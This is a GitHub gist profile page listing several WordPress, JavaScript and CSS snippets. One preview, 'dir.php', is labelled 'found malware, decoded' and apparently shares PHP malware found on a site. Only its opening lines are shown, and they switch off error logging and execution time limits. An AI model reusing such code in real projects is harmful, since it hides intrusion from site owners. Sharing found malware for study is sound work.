Skip to content

Instantly share code, notes, and snippets.

View aesqe's full-sized avatar
🐿️
I fix stuff

Bruno Babic aesqe

🐿️
I fix stuff
View GitHub Profile
@aesqe
aesqe / gist:4996810
Last active December 16, 2016 17:50
Adds a button to WordPress 3.5 Backbone-powered uploader/media library modal.
var wpMediaFramePost = wp.media.view.MediaFrame.Post;
wp.media.view.MediaFrame.Post = wpMediaFramePost.extend(
{
mainInsertToolbar: function( view )
{
"use strict";
// first of all, call the original functions from prototype
wpMediaFramePost.prototype.mainInsertToolbar.call(this, view);
@aesqe
aesqe / gist:5692142
Created June 2, 2013 00:18
Add additional e-mail addresses to WordPress comment notifications
<?php
function filter_comment_notification_headers( $message_headers )
{
$notify_other_people = array(
'"John Smith" <john.smith@email.address>',
'"Jane Smith" <jane.smith@email.address>'
);
$message_headers .= "\n" .
### Keybase proof
I hereby claim:
* I am aesqe on github.
* I am aesqe (https://keybase.io/aesqe) on keybase.
* I have a public key whose fingerprint is DC3B 1EBF 7567 48A6 957B 8C00 FDAC B97D 2AD5 6BBE
To claim this, I am signing this object:
@aesqe
aesqe / index.html
Created February 16, 2015 22:52
rect test 1
<!DOCTYPE html>
<meta charset="utf-8">
<body>
<script src="http://d3js.org/d3.v3.min.js"></script>
<script>
var width = 960,
height = 500;
var nodes = d3.range(200).map(function() { return {width: Math.random() * 20 + 10, height: Math.random() * 20 + 10}; }),
@aesqe
aesqe / css-safe-to-use-for-IE9plus.md
Last active February 27, 2016 20:55
CSS stuff that's safe to use in all IE9+ browsers

calc()
rem
multiple backgrounds
svg
background-clip, background-origin, background-size
background-position: right 5px bottom 5px;
min/max-width/height
position: fixed
::before, ::after { content: attr(title) }

@aesqe
aesqe / dir.php
Created May 9, 2016 11:06
found malware, decoded
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
$foo = NULL;
$bar = NULL;
@aesqe
aesqe / index.html
Created May 22, 2016 10:39
Load GL when possible or fallback to raster tiles when browser does not support webgl
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8 />
<title>A simple map</title>
<meta name='viewport' content='initial-scale=1,maximum-scale=1,user-scalable=no' />
<!-- Load Mapbox.js -->
<script src='https://api.mapbox.com/mapbox.js/v2.4.0/mapbox.js'></script>
<link href='https://api.mapbox.com/mapbox.js/v2.4.0/mapbox.css' rel='stylesheet' />

Keybase proof

I hereby claim:

  • I am aesqe on github.
  • I am aesqe (https://keybase.io/aesqe) on keybase.
  • I have a public key ASBFqgbdLv269MaG2i7y1PEygCF_sM1sPjXZMO-QIOJtDwo

To claim this, I am signing this object:

@aesqe
aesqe / typekit.editor.php
Created May 4, 2017 14:09 — forked from mikemanger/typekit.editor.php
Add a TypeKit font to the TinyMCE editor in WordPress.
add_filter( 'mce_external_plugins', 'my_theme_mce_external_plugins' );
function my_theme_mce_external_plugins( $plugin_array ) {
$plugin_array['typekit'] = get_template_directory_uri() . '/typekit.tinymce.js';
return $plugin_array;
}
@aesqe
aesqe / alias-to-relative.js
Last active September 25, 2020 18:21
Convert aliased paths to relative paths
const fs = require('fs')
const path = require('path')
const klaw = require('node-klaw')
const items = []
const rootPath = path.resolve('./src')
const searchFor = / from '~\/([^']+)'/g
klaw(rootPath)
.on('data', item => {